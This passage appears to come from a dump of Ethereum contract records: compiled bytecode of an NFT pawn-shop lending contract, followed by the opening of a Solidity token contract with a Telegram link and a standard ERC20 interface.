905550828160060181905550611b6a33836040518060200160405280600081525061371e565b5050505050505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611ba461142c565b8210611be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdc90614fe1565b60405180910390fd5b60088281548110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b80600c54811115611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e90614de1565b60405180910390fd5b6000600b600084815260200190815260200160002090508060090160009054906101000a900460ff1615611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd790615061565b60405180910390fd5b80600501548160060154611cf49190615150565b4311611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90615001565b60405180910390fd5b8060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e876040518263ffffffff1660e01b8152600401611dd1919061509c565b60206040518083038186803b158015611de957600080fd5b505afa158015611dfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e219190614346565b866040518463ffffffff1660e01b8152600401611e4093929190614bcd565b600060405180830381600087803b158015611e5a57600080fd5b505af1158015611e6e573d6000803e3d6000fd5b5050505060018160090160006101000a81548160ff02191690831515021790555060018160090160016101000a81548160ff021916908315150217905550505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3890614f61565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561202e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202590614ee1565b60405180910390fd5b80915050919050565b600a5481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a590614ec1565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b81600c5481111561213b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213290614de1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff1661215b84611f85565b73ffffffffffffffffffffffffffffffffffffffff16146121b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a890614ea1565b60405180910390fd5b6000600b600085815260200190815260200160002090508060090160009054906101000a900460ff1615806121f457508060090160019054906101000a900460ff165b612233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222a90615061565b60405180910390fd5b61227a83604051806060016040528060268152602001615beb6026913961226b8460080154856007015461317990919063ffffffff16565b6131bb9092919063ffffffff16565b5082816008015461228b9190615150565b81600801819055508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016122f2929190614cfb565b602060405180830381600087803b15801561230c57600080fd5b505af1158015612320573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612344919061453c565b5050505050565b80600c54811115612391576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238890614de1565b60405180910390fd5b6000600b600084815260200190815260200160002090508060090160009054906101000a900460ff16156123fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f190615061565b60405180910390fd5b6000612405846113b6565b90508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33308560080154856124599190615150565b6040518463ffffffff1660e01b815260040161247793929190614bcd565b602060405180830381600087803b15801561249157600080fd5b505af11580156124a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124c9919061453c565b506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e866040518263ffffffff1660e01b8152600401612527919061509c565b60206040518083038186803b15801561253f57600080fd5b505afa158015612553573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125779190614346565b90506000600d600087815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600a54601060009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168561260f91906151d7565b61261991906151a6565b9050846007015481858461262d9190615150565b6126379190615231565b6126419190615150565b600d600089815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080601160008760000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127049190615150565b601160008760000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000856008018190555060018560090160006101000a81548160ff0219169083151502179055508460010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd306127dc8a611f85565b88600201546040518463ffffffff1660e01b81526004016127ff93929190614bcd565b600060405180830381600087803b15801561281957600080fd5b505af115801561282d573d6000803e3d6000fd5b5050505050505050505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c190614f61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461295b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295290615021565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060600180546129ae90615337565b80601f01602080910402602001604051908101604052809291908181526020018280546129da90615337565b8015612a275780601f106129fc57610100808354040283529160200191612a27565b820191906000526020600020905b815481529060010190602001808311612a0a57829003601f168201915b5050505050905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082600c54811115612a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9690614de1565b60405180910390fd5b600d600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b612b0161327c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b6690614e21565b60405180910390fd5b8060056000612b7c61327c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16612c2961327c565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612c6e9190614d24565b60405180910390a35050565b600081600c54811115612cc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cb990614de1565b60405180910390fd5b6000600b6000858152602001908152602001600020905080600501548160060154612ced9190615150565b92505050919050565b60116020528060005260406000206000915090505481565b612d1f612d1961327c565b836133e4565b612d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5590614fc1565b60405180910390fd5b612d6a84848484613779565b50505050565b6000601060009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16600a54612db09190615231565b600a5483612dbe91906151d7565b612dc891906151a6565b9050919050565b6000600a54601060009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16600a54612e129190615231565b83612e1d91906151d7565b612e2791906151a6565b9050919050565b6060612e3982613210565b612e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6f90614f81565b60405180910390fd5b6000612e826137d5565b90506000815111612ea25760405180602001604052806000815250612ecd565b80612eac846137ec565b604051602001612ebd929190614b8e565b6040516020818303038152906040525b915050919050565b600081600c54811115612f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1490614de1565b60405180910390fd5b612f26836113b6565b600b600085815260200190815260200160002060080154612f479190615150565b915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600b6020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154908060040154908060050154908060060154908060070154908060080154908060090160009054906101000a900460ff16908060090160019054906101000a900460ff1690508b565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061316257507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80613172575061317182613999565b5b9050919050565b600081836131879190615231565b905092915050565b6000818361319d91906151d7565b905092915050565b600081836131b391906151a6565b905092915050565b6000838311158290613203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131fa9190614d3f565b60405180910390fd5b5082840390509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166132f783611f85565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008260090160009054906101000a900460ff161561335f57600090506133de565b6133db83600401546133cd600a546133bf866133b161339e60016133908c600501544361317990919063ffffffff16565b61317990919063ffffffff16565b8a6007015461318f90919063ffffffff16565b61318f90919063ffffffff16565b6131a590919063ffffffff16565b613a0390919063ffffffff16565b90505b92915050565b60006133ef82613210565b61342e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161342590614e61565b60405180910390fd5b600061343983611f85565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806134a857508373ffffffffffffffffffffffffffffffffffffffff1661349084611174565b73ffffffffffffffffffffffffffffffffffffffff16145b806134b957506134b88185612f4f565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166134e282611f85565b73ffffffffffffffffffffffffffffffffffffffff1614613538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161352f90614f41565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156135a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161359f90614e01565b60405180910390fd5b6135b3838383613a19565b6135be600082613284565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461360e9190615231565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136659190615150565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6137288383613b2d565b6137356000848484613cfb565b613774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161376b90614da1565b60405180910390fd5b505050565b6137848484846134c2565b61379084848484613cfb565b6137cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137c690614da1565b60405180910390fd5b50505050565b606060405180602001604052806000815250905090565b60606000821415613834576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613994565b600082905060005b6000821461386657808061384f9061539a565b915050600a8261385f91906151a6565b915061383c565b60008167ffffffffffffffff8111156138a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156138da5781602001600182028036833780820191505090505b5090505b6000851461398d576001826138f39190615231565b9150600a8561390291906153e3565b603061390e9190615150565b60f81b81838151811061394a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561398691906151a6565b94506138de565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008183613a119190615150565b905092915050565b613a24838383613e92565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613a6757613a6281613e97565b613aa6565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614613aa557613aa48382613ee0565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613ae957613ae48161404d565b613b28565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614613b2757613b268282614190565b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b9490614f01565b60405180910390fd5b613ba681613210565b15613be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613bdd90614dc1565b60405180910390fd5b613bf260008383613a19565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613c429190615150565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000613d1c8473ffffffffffffffffffffffffffffffffffffffff1661420f565b15613e85578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02613d4561327c565b8786866040518563ffffffff1660e01b8152600401613d679493929190614c04565b602060405180830381600087803b158015613d8157600080fd5b505af1925050508015613db257506040513d601f19601f82011682018060405250810190613daf919061458e565b60015b613e35573d8060008114613de2576040519150601f19603f3d011682016040523d82523d6000602084013e613de7565b606091505b50600081511415613e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613e2490614da1565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613e8a565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001613eed8461203d565b613ef79190615231565b9050600060076000848152602001908152602001600020549050818114613fdc576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506140619190615231565b90506000600960008481526020019081526020016000205490506000600883815481106140b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080600883815481106140ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480614174577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061419b8361203d565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600080823b905060008111915050919050565b6000614235614230846150dc565b6150b7565b90508281526020810184848401111561424d57600080fd5b6142588482856152f5565b509392505050565b60008135905061426f81615b8e565b92915050565b60008151905061428481615b8e565b92915050565b60008135905061429981615ba5565b92915050565b6000815190506142ae81615ba5565b92915050565b6000813590506142c381615bbc565b92915050565b6000815190506142d881615bbc565b92915050565b600082601f8301126142ef57600080fd5b81356142ff848260208601614222565b91505092915050565b60008135905061431781615bd3565b92915050565b60006020828403121561432f57600080fd5b600061433d84828501614260565b91505092915050565b60006020828403121561435857600080fd5b600061436684828501614275565b91505092915050565b6000806040838503121561438257600080fd5b600061439085828601614260565b92505060206143a185828601614260565b9150509250929050565b6000806000606084860312156143c057600080fd5b60006143ce86828701614260565b93505060206143df86828701614260565b92505060406143f086828701614308565b9150509250925092565b6000806000806080858703121561441057600080fd5b600061441e87828801614260565b945050602061442f87828801614260565b935050604061444087828801614308565b925050606085013567ffffffffffffffff81111561445d57600080fd5b614469878288016142de565b91505092959194509250565b6000806040838503121561448857600080fd5b600061449685828601614260565b92505060206144a78582860161428a565b9150509250929050565b600080604083850312156144c457600080fd5b60006144d285828601614260565b92505060206144e385828601614308565b9150509250929050565b60008060006060848603121561450257600080fd5b600061451086828701614260565b935050602061452186828701614308565b925050604061453286828701614260565b9150509250925092565b60006020828403121561454e57600080fd5b600061455c8482850161429f565b91505092915050565b60006020828403121561457757600080fd5b6000614585848285016142b4565b91505092915050565b6000602082840312156145a057600080fd5b60006145ae848285016142c9565b91505092915050565b6000602082840312156145c957600080fd5b60006145d784828501614308565b91505092915050565b600080604083850312156145f357600080fd5b600061460185828601614308565b925050602061461285828601614260565b9150509250929050565b60008060008060008060c0878903121561463557600080fd5b600061464389828a01614308565b965050602061465489828a01614260565b955050604061466589828a01614308565b945050606061467689828a01614308565b935050608061468789828a01614260565b92505060a061469889828a01614308565b9150509295509295509295565b600080604083850312156146b857600080fd5b60006146c685828601614308565b92505060206146d785828601614308565b9150509250929050565b600080600080608085870312156146f757600080fd5b600061470587828801614308565b945050602061471687828801614308565b935050604061472787828801614308565b925050606061473887828801614308565b91505092959194509250565b61474d81615265565b82525050565b61475c81615277565b82525050565b600061476d8261510d565b6147778185615123565b9350614787818560208601615304565b614790816154d0565b840191505092915050565b60006147a682615118565b6147b08185615134565b93506147c0818560208601615304565b6147c9816154d0565b840191505092915050565b60006147df82615118565b6147e98185615145565b93506147f9818560208601615304565b80840191505092915050565b6000614812603e83615134565b915061481d826154e1565b604082019050919050565b6000614835602b83615134565b915061484082615530565b604082019050919050565b6000614858603283615134565b91506148638261557f565b604082019050919050565b600061487b601c83615134565b9150614886826155ce565b602082019050919050565b600061489e602783615134565b91506148a9826155f7565b604082019050919050565b60006148c1602483615134565b91506148cc82615646565b604082019050919050565b60006148e4601983615134565b91506148ef82615695565b602082019050919050565b6000614907602a83615134565b9150614912826156be565b604082019050919050565b600061492a602c83615134565b91506149358261570d565b604082019050919050565b600061494d603883615134565b91506149588261575c565b604082019050919050565b6000614970602983615134565b915061497b826157ab565b604082019050919050565b6000614993602a83615134565b915061499e826157fa565b604082019050919050565b60006149b6602983615134565b91506149c182615849565b604082019050919050565b60006149d9602083615134565b91506149e482615898565b602082019050919050565b60006149fc602c83615134565b9150614a07826158c1565b604082019050919050565b6000614a1f602983615134565b9150614a2a82615910565b604082019050919050565b6000614a42601983615134565b9150614a4d8261595f565b602082019050919050565b6000614a65602f83615134565b9150614a7082615988565b604082019050919050565b6000614a88602183615134565b9150614a93826159d7565b604082019050919050565b6000614aab603183615134565b9150614ab682615a26565b604082019050919050565b6000614ace602c83615134565b9150614ad982615a75565b604082019050919050565b6000614af1602083615134565b9150614afc82615ac4565b602082019050919050565b6000614b14601883615134565b9150614b1f82615aed565b602082019050919050565b6000614b37602e83615134565b9150614b4282615b16565b604082019050919050565b6000614b5a601a83615134565b9150614b6582615b65565b602082019050919050565b614b79816152af565b82525050565b614b88816152eb565b82525050565b6000614b9a82856147d4565b9150614ba682846147d4565b91508190509392505050565b6000602082019050614bc76000830184614744565b92915050565b6000606082019050614be26000830186614744565b614bef6020830185614744565b614bfc6040830184614b7f565b949350505050565b6000608082019050614c196000830187614744565b614c266020830186614744565b614c336040830185614b7f565b8181036060830152614c458184614762565b905095945050505050565b600061016082019050614c66600083018e614744565b614c73602083018d614744565b614c80604083018c614b7f565b614c8d606083018b614b7f565b614c9a608083018a614b7f565b614ca760a0830189614b7f565b614cb460c0830188614b7f565b614cc160e0830187614b7f565b614ccf610100830186614b7f565b614cdd610120830185614753565b614ceb610140830184614753565b9c9b505050505050505050505050565b6000604082019050614d106000830185614744565b614d1d6020830184614b7f565b9392505050565b6000602082019050614d396000830184614753565b92915050565b60006020820190508181036000830152614d59818461479b565b905092915050565b60006020820190508181036000830152614d7a81614805565b9050919050565b60006020820190508181036000830152614d9a81614828565b9050919050565b60006020820190508181036000830152614dba8161484b565b9050919050565b60006020820190508181036000830152614dda8161486e565b9050919050565b60006020820190508181036000830152614dfa81614891565b9050919050565b60006020820190508181036000830152614e1a816148b4565b9050919050565b60006020820190508181036000830152614e3a816148d7565b9050919050565b60006020820190508181036000830152614e5a816148fa565b9050919050565b60006020820190508181036000830152614e7a8161491d565b9050919050565b60006020820190508181036000830152614e9a81614940565b9050919050565b60006020820190508181036000830152614eba81614963565b9050919050565b60006020820190508181036000830152614eda81614986565b9050919050565b60006020820190508181036000830152614efa816149a9565b9050919050565b60006020820190508181036000830152614f1a816149cc565b9050919050565b60006020820190508181036000830152614f3a816149ef565b9050919050565b60006020820190508181036000830152614f5a81614a12565b9050919050565b60006020820190508181036000830152614f7a81614a35565b9050919050565b60006020820190508181036000830152614f9a81614a58565b9050919050565b60006020820190508181036000830152614fba81614a7b565b9050919050565b60006020820190508181036000830152614fda81614a9e565b9050919050565b60006020820190508181036000830152614ffa81614ac1565b9050919050565b6000602082019050818103600083015261501a81614ae4565b9050919050565b6000602082019050818103600083015261503a81614b07565b9050919050565b6000602082019050818103600083015261505a81614b2a565b9050919050565b6000602082019050818103600083015261507a81614b4d565b9050919050565b60006020820190506150966000830184614b70565b92915050565b60006020820190506150b16000830184614b7f565b92915050565b60006150c16150d2565b90506150cd8282615369565b919050565b6000604051905090565b600067ffffffffffffffff8211156150f7576150f66154a1565b5b615100826154d0565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061515b826152eb565b9150615166836152eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561519b5761519a615414565b5b828201905092915050565b60006151b1826152eb565b91506151bc836152eb565b9250826151cc576151cb615443565b5b828204905092915050565b60006151e2826152eb565b91506151ed836152eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561522657615225615414565b5b828202905092915050565b600061523c826152eb565b9150615247836152eb565b92508282101561525a57615259615414565b5b828203905092915050565b6000615270826152cb565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015615322578082015181840152602081019050615307565b83811115615331576000848401525b50505050565b6000600282049050600182168061534f57607f821691505b6020821081141561536357615362615472565b5b50919050565b615372826154d0565b810181811067ffffffffffffffff82111715615391576153906154a1565b5b80604052505050565b60006153a5826152eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156153d8576153d7615414565b5b600182019050919050565b60006153ee826152eb565b91506153f9836152eb565b92508261540957615408615443565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4e46545061776e53686f703a2070726f706f736564207465726d73206d75737460008201527f20626520626574746572207468616e206578697374696e67207465726d730000602082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4e46545061776e53686f703a207061776e207469636b657420646f6573206e6f60008201527f7420657869737400000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4e46545061776e53686f703a2050726f706f736564207465726d7320646f206e60008201527f6f74207175616c69667900000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4e46545061776e53686f703a206d757374206265206f776e6572206f6620706160008201527f776e6564206974656d0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4e46545061776e53686f703a206d616e61676572206f6e6c7900000000000000600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4e46545061776e53686f703a207061796d656e74206973206e6f74206c617465600082015250565b7f4e46545061776e53686f703a20616c7265616479207365740000000000000000600082015250565b7f4e46545061776e53686f703a20686173206c6f616e2c2075736520726570617960008201527f416e64436c6f73655469636b6574000000000000000000000000000000000000602082015250565b7f4e46545061776e53686f703a207469636b657420636c6f736564000000000000600082015250565b615b9781615265565b8114615ba257600080fd5b50565b615bae81615277565b8114615bb957600080fd5b50565b615bc581615283565b8114615bd057600080fd5b50565b615bdc816152eb565b8114615be757600080fd5b5056fe4e46545061776e53686f703a20496e73756666696369656e74206c6f616e2062616c616e63654e46545061776e53686f703a20496e73756666696369656e742062616c616e6365a2646970667358221220114fe7e8b85f1c1dadec7638c6733f1410886e36ebcaab2a9e447443ada50f7c64736f6c63430008020033
[ 16, 7, 5 ]
0xf22fa4979a746e0c38f1fb04e20b5829b39c61b8
/* Telegram : https://https://t.me/BTFD_uniswap */ pragma solidity ^0.8.4; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * 